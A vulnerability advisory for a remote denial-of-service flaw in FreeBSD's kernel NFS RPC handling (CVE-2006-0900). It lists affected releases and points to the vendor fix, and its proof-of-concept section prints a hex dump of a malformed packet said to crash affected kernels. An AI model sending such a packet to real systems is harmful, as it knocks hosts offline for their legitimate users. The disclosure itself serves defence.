BID:16838

FreeBSD Remote NFS RPC Request Denial of Service Vulnerability

Info

FreeBSD Remote NFS RPC Request Denial of Service Vulnerability

Bugtraq ID:	16838
Class:	Failure to Handle Exceptional Conditions
CVE:	CVE-2006-0900
Remote:	Yes
Local:	No
Published:	Feb 27 2006 12:00AM
Updated:	Mar 04 2006 04:16AM
Credit:	Evgeny Legerov discovered this issue.
Vulnerable:	FreeBSD FreeBSD 6.0 -STABLE FreeBSD FreeBSD 6.0 -RELEASE FreeBSD FreeBSD 5.4 -RELENG FreeBSD FreeBSD 5.4 -RELEASE FreeBSD FreeBSD 5.4 -PRERELEASE FreeBSD FreeBSD 5.3 -STABLE FreeBSD FreeBSD 5.3 -RELENG FreeBSD FreeBSD 5.3 -RELEASE FreeBSD FreeBSD 5.3 FreeBSD FreeBSD 4.11 -STABLE FreeBSD FreeBSD 4.11 -RELENG FreeBSD FreeBSD 4.11 -RELEASE-p3 FreeBSD FreeBSD 4.10 -RELENG FreeBSD FreeBSD 4.10 -RELEASE-p8 FreeBSD FreeBSD 4.10 -RELEASE FreeBSD FreeBSD 4.10 FreeBSD FreeBSD 5.4-STABLE FreeBSD FreeBSD 4.10-PRERELEASE

Not Vulnerable:

Discussion

FreeBSD Remote NFS RPC Request Denial of Service Vulnerability

FreeBSD is susceptible to a remote denial-of-service vulnerability. This issue is due to a flaw in affected versions of the kernel that potentially results in a crash when handling malformed RPC messages through TCP.

This issue allows remote attackers to cause affected systems to crash, denying further network service to legitimate users.

Exploit / POC

FreeBSD Remote NFS RPC Request Denial of Service Vulnerability

This issue was discovered by the ProtoVer NFS testsuite 1.0 package, and can be reproduced by it.

The following packet data hex dump is sufficient to crash an affected kernel:

80 00 00 00 00 00 00 01 00 00 00 00 00 00 00 02
00 01 86 a5 00 00 00 01 00 00 00 01 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04
2f 74 6d 70

Solution / Fix

FreeBSD Remote NFS RPC Request Denial of Service Vulnerability

Solution:

FreeBSD has released advisory FreeBSD-SA-06:10.nfs including fixes to address this issue. Please see the referenced advisory for more information.

FreeBSD FreeBSD 5.4-STABLE